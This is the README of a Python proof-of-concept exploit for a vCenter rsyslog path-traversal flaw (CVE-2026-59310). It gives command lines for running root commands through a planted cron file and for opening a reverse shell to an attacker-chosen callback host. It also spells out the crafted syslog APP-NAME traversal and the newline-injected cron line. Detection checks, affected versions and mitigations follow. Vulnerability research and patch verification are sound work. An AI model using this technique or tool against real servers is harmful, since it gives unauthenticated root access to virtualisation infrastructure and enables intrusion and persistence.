
Python PoC for CVE-2026-59310: exploits vCenter rsyslog path traversal to write files and execute commands as root via cron, with check, exec, shell, and cleanup modes.
English | 中文
Optimized fork of ChinaRan0/CVE-2026-59310-POC. The vulnerability analysis follows that project. This tree reworks the client and the docs for authorized testing: subcommands, a one-shot cron job, and an interactive shell on a remote PTY.
Authorized use only. Run this only against systems you have explicit written permission to test. You are responsible for complying with local law and for any impact on the target.
| CVE | CVE-2026-59310 |
| Advisory | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 Critical |
| Weakness | Path traversal in vCenter rsyslog → arbitrary file write → root code execution |
| Privileges required | None. Network access to syslog (UDP/TCP 514) is enough |
| Fixed in | 9.0.2.0100 (Build 25629525), 9.1.0.0300, 8.0 U3k, 8.0 U2f |
| Upstream | ChinaRan0/CVE-2026-59310-POC |
| Upstream | This fork | |
|---|---|---|
| CLI | -c, --lhost, and --check on one parser | check, exec, shell, cleanup subcommands |
| Cron | Repeats every minute | Deletes its own file, then runs once |
| Quoting | Command text concatenated into the shell | shlex.quote, so quotes cannot split the cron line |
| Shell | Local fake prompt, line at a time | Remote PTY, keystroke relay, remote colors and Tab completion |
| Cleanup | Printed rm hints | Plants a one-shot job that removes artifacts for --id |
| Listener | Bound to 0.0.0.0 | --bind selects the local address |
shell needs python3 on the target. vCenter Server Appliance includes it. The session uses pty.spawn so the shell has a real terminal.python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec and shell write a cron file that crond runs about 60 seconds later, once. cleanup without --id removes every artifact that uses the cve59310 prefix.
| Option | Meaning |
|---|---|
--port | Syslog port. Default 514. |
--tcp | Send syslog over TCP instead of UDP. |
--id | Artifact id: 1–32 characters, [a-z0-9]. Random when omitted. |
-q | Suppress the banner. |
exec| Option | Meaning |
|---|---|
-c / --cmd | Command to run. Combined stdout and stderr go to /tmp/cve59310_<id>.txt. |
--wait | Poll until the output file is readable, or until timeout. |
--timeout | Seconds for --wait. Default 180. |
--read-command | Local argv template. {path} is the remote output path. |
--wait requires --read-command, for example ssh root@target cat {path}. The template is split with shlex and is not passed through a local shell. A command such as a; b is grouped as { a; b; } > file, so both parts are captured.
shell| Option | Meaning |
|---|---|
--lhost / --lport | Address and port the target connects back to. Port default 4444. |
--bind | Local listen address. Default 0.0.0.0. |
--method {bash,python} | Which program opens the socket. Default bash. Both then use the target's python3 to allocate a PTY. |
--timeout | Seconds to wait for the callback. Default 180. |
The prompt, colors, and Tab completion come from the target bash. Ctrl+] closes the local side. exit exits the remote shell. Run shell in a real terminal; a line-buffered client cannot complete.
| Action | Path |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log and /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log, removed by the job itself after it runs |
Record --id. cleanup <target> --id <id> deletes that run. Without --id, the cleanup job deletes the whole cve59310 prefix.
| Target | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Fixed build | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| Entry | UDP/TCP 514, no authentication |
On that build, check creates a root-owned file under /tmp, exec with id returns uid=0(root) after about a minute, and shell presents the target prompt (root [ / ]#, including its colors).
Anything older than the fixed build in its branch. Standalone vCenter is affected, as are the vCenter components in VMware Cloud Foundation, vSphere Foundation, and Telco Cloud.
| Branch | Affected | Fixed |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | all | Upgrade to 8.0 U3k or later |
| 7.0 | missing the matching patch | Obtain the patch from Broadcom, or move to a supported release |
/sdk/vimServiceVersions.xml reports the API namespace (often 9.0.0.0), not the appliance build. Confirm the build with /etc/vmware-release and /etc/applmgmt/appliance/version.
vCenter's rsyslog configuration interpolates %app-name% into the log path and leaves $EscapeControlCharactersOnReceive off:
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
pmrfc3164 truncates APP-NAME at /. pmrfc5424 does not, and the default ruleset accepts RFC5424. A crafted APP-NAME such as rsyslog/../../../../tmp/x is therefore written outside /var/log/vmware/ as a root-owned *-syslog.log file. A newline in the message body lets a cron line start at column 0, so crond executes it as root. The filename always ends in -syslog.log, which is why the cron file lives under /etc/cron.d/ rather than replacing a suffix-free crontab.
| Parser | Value of %app-name% for rsyslog/../../../../tmp/x |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
The vendor advisory also describes writing under /opt/vmware/share/htdocs/ and reading it back through https://<target>:5480/.
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
*-syslog.log files outside the log directories, and directories whose names contain .., are the usual residue. rsyslog creates missing parent directories when the template walks out of the log tree.
Upgrade. On the 9.0 branch the minimum fixed build is 9.0.2.0100 (Build 25629525).
Until that upgrade:
pmrfc3164. Do not leave the default ruleset accepting RFC5424.securepath="normal" and secpath-drop="replace". Upstream treats securepath as the path boundary, not the parser's slash filter.$EscapeControlCharactersOnReceive on.:app-name, startswith, "rsyslog" with an exact match, and restrict dynamic-file writers by source network.Enabling permit.slashesinhostname makes the %hostname% template traversable in the same way.